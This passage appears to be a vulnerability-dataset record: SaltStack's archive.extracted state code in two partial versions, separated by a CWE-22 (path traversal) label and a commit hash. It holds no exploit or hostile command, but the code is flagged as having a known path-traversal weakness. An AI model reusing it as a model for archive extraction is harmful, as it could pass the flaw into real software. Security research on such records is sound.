                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse)
                log.debug('file.directory: %s', dir_result)

                if dir_result.get('changes'):
                    ret['changes']['updated ownership'] = True
                try:
                    if not dir_result['result']:
                        enforce_failed.append(full_path)
                except (KeyError, TypeError):
                    log.warning(
                        'Bad state return %s for file.directory state on %s',
                        dir_result, dirname
                    )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_level dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local:
        if keep_source:
            log.debug('Keeping cached source file %s', cached)
        else:
            log.debug('Cleaning cached source file %s', cached)
            result = __states__['file.not_cached'](source_match, saltenv=__env__)
            if not result['result']:
                # Don't let failure to delete cached file cause the state
                # itself to fail, just drop it in the warnings.
                ret.setdefault('warnings', []).append(result['comment'])

    return ret",CWE-22,saltstack/salt,9ed2a2e1e3d6c8c06eef100f4cd503ea7c8b92dc,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    keep_source : True
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. To remove the downloaded archive after extraction, set
        this argument to ``False``.

        .. versionadded:: 2017.7.3

    keep : True
        Same as ``keep_source``, kept for backward-compatibility.

        .. note::
            If both ``keep_source`` and ``keep`` are used, ``keep`` will be
            ignored.

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite existing files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.args.clean_kwargs(**kwargs)

    if 'keep_source' in kwargs and 'keep' in kwargs:
        ret.setdefault('warnings', []).append(
            'Both \'keep_source\' and \'keep\' were used. Since these both '
            'do the same thing, \'keep\' was ignored.'
        )
        keep_source = bool(kwargs.pop('keep_source'))
        kwargs.pop('keep')
    elif 'keep_source' in kwargs:
        keep_source = bool(kwargs.pop('keep_source'))
    elif 'keep' in kwargs:
        keep_source = bool(kwargs.pop('keep'))
    else:
        # Neither was passed, default is True
        keep_source = True

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip(os.sep)
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if if_missing is not None and os.path.exists(if_missing):
        ret['result'] = True
        ret['comment'] = 'Path {0} exists'.format(if_missing)
        return ret

    if user or group:
        if salt.utils.platform.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    urlparsed_scheme = urlparsed_source.scheme
    urlparsed_path = os.path.join(
        urlparsed_source.netloc,
        urlparsed_source.path).rstrip(os.sep)

    # urlparsed_scheme will be the drive letter if this is a Windows file path
    # This checks for a drive letter as the scheme and changes it to file
    if urlparsed_scheme and \
            urlparsed_scheme.lower() in string.ascii_lowercase:
        urlparsed_path = ':'.join([urlparsed_scheme, urlparsed_path])
        urlparsed_scheme = 'file'

    source_hash_basename = urlparsed_path or urlparsed_source.netloc

    source_is_local = urlparsed_scheme in salt.utils.files.LOCAL_PROTOS
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = os.path.realpath(os.path.expanduser(urlparsed_path))
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(
                                salt.utils.url.redact_http_basic_auth(source_match))
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = six.text_type(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached = source_match
    else:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be cached (if necessary) and checked to '
                'discover if extraction is needed'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        if 'file.cached' not in __states__:
            # Shouldn't happen unless there is a traceback keeping
            # salt/states/file.py from being processed through the loader. If
            # that is the case, we have much more important problems as _all_
            # file states would be unavailable.
            ret['comment'] = (
                'Unable to cache {0}, file.cached state not available'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        try:
            result = __states__['file.cached'](source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        except Exception as exc:
            msg = 'Failed to cache {0}: {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    exc.__str__())
            log.exception(msg)
            ret['comment'] = msg
            return ret
        else:
            log.debug('file.cached: %s', result)

        if result['result']:
            # Get the path of the file in the minion cache
            cached = __salt__['cp.is_cached'](source_match, saltenv=__env__)
        else:
            log.debug(
                'failed to download %s',
                salt.utils.url.redact_http_basic_auth(source_match)
            )
            return result

    existing_cached_source_sum = _read_cached_checksum(cached)

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
